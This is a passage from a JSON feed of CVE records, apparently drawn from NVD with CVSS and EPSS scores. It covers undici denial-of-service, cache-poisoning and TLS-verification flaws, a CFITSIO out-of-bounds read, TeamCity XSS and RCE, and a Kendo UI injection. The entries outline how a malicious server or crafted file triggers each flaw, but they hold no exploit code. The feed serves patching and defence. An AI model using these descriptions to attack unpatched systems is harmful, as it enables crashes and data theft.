upgrading.","detail":"undici is an HTTP client library for Node.js. In versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, its decompress interceptor forwards decompressed response data to the downstream handler from zlib stream event callbacks without catching exceptions those callbacks may throw, and while undici's engine converts a synchronous throw from a downstream handler into a per-request failure, that protection is absent when the throw happens asynchronously from a zlib callback. As a result, a downstream handler that throws by design, such as the built-in dump interceptor which throws when a response exceeds its configured maximum size, escapes as an uncaught exception that terminates the Node.js process. A malicious or compromised HTTP server can crash any client that composes the decompress interceptor with such a handler by returning a small compressed body that decompresses to more than the configured limit, so only the decompressed size matters and the bytes on the wire stay tiny. The issue is fixed in undici 7.30.1 and 8.12.2, and users should upgrade to one of those versions or later. As a workaround, avoid composing the decompress interceptor with a response handler that throws during response processing until upgrading.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:47.050Z","updatedAt":"2026-10-19T20:41:00.667Z","regions":["Global"],"vendor":"nodejs","product":"undici","stacks":["Node.js","undici"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87029","asOf":"2026-10-19T20:41:00.667Z"},"epss":{"probability":0.0026,"percentile":0.17592,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87029&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87029","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87029","type":"primary","publishedAt":"2026-10-15T19:17:47.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://cna.openjsf.org/security-advisories.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87029&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87029, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87018","cveId":"CVE-2026-87018","aliases":[],"kind":"vulnerability","title":"undici is an HTTP client library for Node.js.","summary":"undici is an HTTP client library for Node.js. In versions 4.2.1 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, the client process crashes when a TLS 1.2 server renegotiates after the connection is established and presents a different, CA-trusted certificate whose hostname does not match the requested host. Node.js re-runs hostname verification on the renegotiated handshake and destroys the socket with a certificate-altname error, but undici's established-socket error handler asserted that this error code could never occur, so the peer-controlled error became an uncaught assertion that terminates the Node.js process, affecting both the HTTP/1.1 and HTTP/2 paths. A malicious or compromised HTTPS endpoint reached through undici or the global fetch() can crash the client with a single server-initiated renegotiation, taking down all in-flight requests and background work in the process, and exploitation needs no CA compromise because the attacker controls the endpoint and can present two ordinary valid certificates. Only TLS 1.2 is affected, since TLS 1.3 does not support renegotiation. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, and users should upgrade to one of those versions or later. As a workaround, restrict outbound connections to TLS 1.3 so renegotiation cannot occur, when the target endpoints support it.","detail":"undici is an HTTP client library for Node.js. In versions 4.2.1 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, the client process crashes when a TLS 1.2 server renegotiates after the connection is established and presents a different, CA-trusted certificate whose hostname does not match the requested host. Node.js re-runs hostname verification on the renegotiated handshake and destroys the socket with a certificate-altname error, but undici's established-socket error handler asserted that this error code could never occur, so the peer-controlled error became an uncaught assertion that terminates the Node.js process, affecting both the HTTP/1.1 and HTTP/2 paths. A malicious or compromised HTTPS endpoint reached through undici or the global fetch() can crash the client with a single server-initiated renegotiation, taking down all in-flight requests and background work in the process, and exploitation needs no CA compromise because the attacker controls the endpoint and can present two ordinary valid certificates. Only TLS 1.2 is affected, since TLS 1.3 does not support renegotiation. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, and users should upgrade to one of those versions or later. As a workaround, restrict outbound connections to TLS 1.3 so renegotiation cannot occur, when the target endpoints support it.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:46.600Z","updatedAt":"2026-10-19T20:41:16.643Z","regions":["Global"],"vendor":"nodejs","product":"undici","stacks":["Node.js","undici"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87018","asOf":"2026-10-19T20:41:16.643Z"},"epss":{"probability":0.00187,"percentile":0.08241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87018&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87018","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87018","type":"primary","publishedAt":"2026-10-15T19:17:46.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://cna.openjsf.org/security-advisories.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87018&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87018, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111124","cveId":"CVE-2026-111124","aliases":[],"kind":"vulnerability","title":"CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the imcompress.c unquantize helpers that allows attackers to read memory before the fits_rand_value...","summary":"CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the imcompress.c unquantize helpers that allows attackers to read memory before the fits_rand_value table via a zero or negative ZDITHER0 seed. Attackers can supply a crafted FITS file with a SUBTRACTIVE_DITHER_1 compressed image, read through fits_open_file() and fits_read_pix(), to cause crashes or leak heap contents in decoded pixels.","detail":"CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the imcompress.c unquantize helpers that allows attackers to read memory before the fits_rand_value table via a zero or negative ZDITHER0 seed. Attackers can supply a crafted FITS file with a SUBTRACTIVE_DITHER_1 compressed image, read through fits_open_file() and fits_read_pix(), to cause crashes or leak heap contents in decoded pixels.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:25.627Z","updatedAt":"2026-10-26T16:17:12.730Z","regions":["Global"],"vendor":"nasa","product":"cfitsio","stacks":["Nasa","cfitsio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111124","asOf":"2026-10-26T16:17:12.730Z"},"epss":{"probability":0.00238,"percentile":0.14693,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111124&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111124","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111124","type":"primary","publishedAt":"2026-10-15T19:17:25.627Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://hackmd.io/@haind-pwn/cfitsio-zdither0-dither-seed-oob-read","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111124&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111124, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109932","cveId":"CVE-2026-109932","aliases":[],"kind":"vulnerability","title":"undici is an HTTP client library for Node.js.","summary":"undici is an HTTP client library for Node.js. In versions 5.15.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its WebSocket client, including the bundled WebSocket exposed by Node.js, can be driven to exhaust process memory by a malicious or compromised WebSocket server. For every PING frame received, the client automatically writes a PONG response and ignores the backpressure signal from the socket write, so a server that streams small PING frames while never reading the client's PONGs makes the outbound write queue and heap grow without bound until the Node.js process runs out of memory and terminates. The attack is remote and unauthenticated, needs only a normal WebSocket connection, and is asymmetric, since small inbound PINGs produce a much larger retained outbound queue, with availability the only impact. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which pause WebSocket frame parsing when the automatic PONG response hits socket backpressure and resume on drain, bounding the outbound queue, and users should upgrade to one of those versions or later. There is no workaround.","detail":"undici is an HTTP client library for Node.js. In versions 5.15.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its WebSocket client, including the bundled WebSocket exposed by Node.js, can be driven to exhaust process memory by a malicious or compromised WebSocket server. For every PING frame received, the client automatically writes a PONG response and ignores the backpressure signal from the socket write, so a server that streams small PING frames while never reading the client's PONGs makes the outbound write queue and heap grow without bound until the Node.js process runs out of memory and terminates. The attack is remote and unauthenticated, needs only a normal WebSocket connection, and is asymmetric, since small inbound PINGs produce a much larger retained outbound queue, with availability the only impact. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which pause WebSocket frame parsing when the automatic PONG response hits socket backpressure and resume on drain, bounding the outbound queue, and users should upgrade to one of those versions or later. There is no workaround.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:22.300Z","updatedAt":"2026-10-19T20:44:42.247Z","regions":["Global"],"vendor":"nodejs","product":"undici","stacks":["Node.js","undici"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109932","asOf":"2026-10-19T20:44:42.247Z"},"epss":{"probability":0.00321,"percentile":0.24857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109932&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109932","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109932","type":"primary","publishedAt":"2026-10-15T19:17:22.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://cna.openjsf.org/security-advisories.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109932&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109932, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109829","cveId":"CVE-2026-109829","aliases":[],"kind":"vulnerability","title":"undici is an HTTP client library for Node.js.","summary":"undici is an HTTP client library for Node.js. In versions 7.0.0 through 7.30.0 and 8.0.0 through 8.12.1, when an originless Agent composes the redirect and cache interceptors in that order with a shared cache store, the cache builds its key from the original request URL before the redirect handler changes the origin, so a response produced after a cross-origin redirect is stored under the original key. An attacker who controls the target of a redirect from a trusted URL can have their response cached under that trusted URL and served to later callers, allowing persistent cache poisoning, and the same key confusion lets a private, non-stored redirect response to a user-specific resource be stored under the original URL and served to a later unauthenticated caller, disclosing private data. Applications are affected only when an originless Agent, a shared cache store, and the redirect-then-cache composition are all used. The issue is fixed in undici 7.30.1 and 8.12.2, which verify the producing origin still matches the cache key and preserve each redirect hop's cache-control policy before storing, and users should upgrade to one of those versions or later. As a workaround, compose the cache interceptor before the redirect interceptor, use per-origin dispatchers and cache stores, or disable shared caching on redirect-capable requests.","detail":"undici is an HTTP client library for Node.js. In versions 7.0.0 through 7.30.0 and 8.0.0 through 8.12.1, when an originless Agent composes the redirect and cache interceptors in that order with a shared cache store, the cache builds its key from the original request URL before the redirect handler changes the origin, so a response produced after a cross-origin redirect is stored under the original key. An attacker who controls the target of a redirect from a trusted URL can have their response cached under that trusted URL and served to later callers, allowing persistent cache poisoning, and the same key confusion lets a private, non-stored redirect response to a user-specific resource be stored under the original URL and served to a later unauthenticated caller, disclosing private data. Applications are affected only when an originless Agent, a shared cache store, and the redirect-then-cache composition are all used. The issue is fixed in undici 7.30.1 and 8.12.2, which verify the producing origin still matches the cache key and preserve each redirect hop's cache-control policy before storing, and users should upgrade to one of those versions or later. As a workaround, compose the cache interceptor before the redirect interceptor, use per-origin dispatchers and cache stores, or disable shared caching on redirect-capable requests.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:21.513Z","updatedAt":"2026-10-19T20:45:43.390Z","regions":["Global"],"vendor":"nodejs","product":"undici","stacks":["Node.js","undici"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109829","asOf":"2026-10-19T20:45:43.390Z"},"epss":{"probability":0.00149,"percentile":0.04035,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109829&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109829","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109829","type":"primary","publishedAt":"2026-10-15T19:17:21.513Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://cna.openjsf.org/security-advisories.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109829&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109829, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109383","cveId":"CVE-2026-109383","aliases":[],"kind":"vulnerability","title":"undici is an HTTP client library for Node.js.","summary":"undici is an HTTP client library for Node.js. In versions 4.0.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its Agent dispatcher passes its constructor options through a JSON-based deep clone before forwarding them to each per-origin pool, and because JSON cannot represent functions, a caller-supplied tls option containing a checkServerIdentity callback is silently dropped before it reaches the TLS layer. As a result, a TLS peer whose certificate a custom checkServerIdentity was written to reject, but which passes Node's default hostname and chain checks, is silently accepted. Because Agent is the default dispatcher behind request, fetch, and setGlobalDispatcher, this affects the path most applications use, and EnvHttpProxyAgent is affected on its direct and no-proxy routes as well, while only applications that pass a function-valued tls option such as a custom checkServerIdentity for certificate or public-key pinning are at risk. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which preserve the tls option outside the JSON clone so custom verification callbacks are forwarded unchanged, and users should upgrade to one of those versions or later. As a workaround, pass the TLS options through connect instead of tls, or for proxied destinations use requestTls and proxyTls.","detail":"undici is an HTTP client library for Node.js. In versions 4.0.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its Agent dispatcher passes its constructor options through a JSON-based deep clone before forwarding them to each per-origin pool, and because JSON cannot represent functions, a caller-supplied tls option containing a checkServerIdentity callback is silently dropped before it reaches the TLS layer. As a result, a TLS peer whose certificate a custom checkServerIdentity was written to reject, but which passes Node's default hostname and chain checks, is silently accepted. Because Agent is the default dispatcher behind request, fetch, and setGlobalDispatcher, this affects the path most applications use, and EnvHttpProxyAgent is affected on its direct and no-proxy routes as well, while only applications that pass a function-valued tls option such as a custom checkServerIdentity for certificate or public-key pinning are at risk. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which preserve the tls option outside the JSON clone so custom verification callbacks are forwarded unchanged, and users should upgrade to one of those versions or later. As a workaround, pass the TLS options through connect instead of tls, or for proxied destinations use requestTls and proxyTls.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:20.853Z","updatedAt":"2026-10-19T20:45:52.410Z","regions":["Global"],"vendor":"nodejs","product":"undici","stacks":["Node.js","undici"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109383","asOf":"2026-10-19T20:45:52.410Z"},"epss":{"probability":0.00184,"percentile":0.07931,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109383&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109383","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109383","type":"primary","publishedAt":"2026-10-15T19:17:20.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://cna.openjsf.org/security-advisories.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109383&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109383, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111095","cveId":"CVE-2026-111095","aliases":[],"kind":"vulnerability","title":"In JetBrains TeamCity before 2026.2, \n2026.1.4, \n2025.11.8 stored XSS in the classic project overview was possible","summary":"In JetBrains TeamCity before 2026.2, \n2026.1.4, \n2025.11.8 stored XSS in the classic project overview was possible","detail":"In JetBrains TeamCity before 2026.2, \n2026.1.4, \n2025.11.8 stored XSS in the classic project overview was possible\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:17:49.103Z","updatedAt":"2026-10-16T19:19:51.597Z","regions":["Global"],"vendor":"jetbrains","product":"teamcity","stacks":["JetBrains TeamCity","teamcity"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111095","asOf":"2026-10-16T19:19:51.597Z"},"epss":{"probability":0.00169,"percentile":0.06223,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111095&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111095","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111095","type":"primary","publishedAt":"2026-10-15T16:17:49.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.jetbrains.com/privacy-security/issues-fixed/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111095&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111095, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111094","cveId":"CVE-2026-111094","aliases":[],"kind":"vulnerability","title":"In JetBrains TeamCity before 2026.2, \n2026.1.4, \n2025.11.8 remote code execution via a whitelist bypass in the build messages protocol was possible","summary":"In JetBrains TeamCity before 2026.2, \n2026.1.4, \n2025.11.8 remote code execution via a whitelist bypass in the build messages protocol was possible","detail":"In JetBrains TeamCity before 2026.2, \n2026.1.4, \n2025.11.8 remote code execution via a whitelist bypass in the build messages protocol was possible\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:17:48.993Z","updatedAt":"2026-10-16T19:19:17.150Z","regions":["Global"],"vendor":"jetbrains","product":"teamcity","stacks":["JetBrains TeamCity","teamcity"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111094","asOf":"2026-10-16T19:19:17.150Z"},"epss":{"probability":0.00392,"percentile":0.33036,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111094&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111094","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111094","type":"primary","publishedAt":"2026-10-15T16:17:48.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.jetbrains.com/privacy-security/issues-fixed/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111094&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111094, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108116","cveId":"CVE-2026-108116","aliases":[],"kind":"vulnerability","title":"In Progress Kendo UI for jQuery prior to v2026.3.1015, specially crafted filter values in the PivotGrid XMLA transport could alter MDX predicates or inject XML markup into SOAP...","summary":"In Progress Kendo UI for jQuery prior to v2026.3.1015, specially crafted filter values in the PivotGrid XMLA transport could alter MDX predicates or inject XML markup into SOAP requests, potentially exposing data accessible through the configured XMLA connection.","detail":"In Progress Kendo UI for jQuery prior to v2026.3.1015, specially crafted filter values in the PivotGrid XMLA transport could alter MDX predicates or inject XML markup into SOAP requests, potentially exposing data accessible through the configured XMLA connection.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 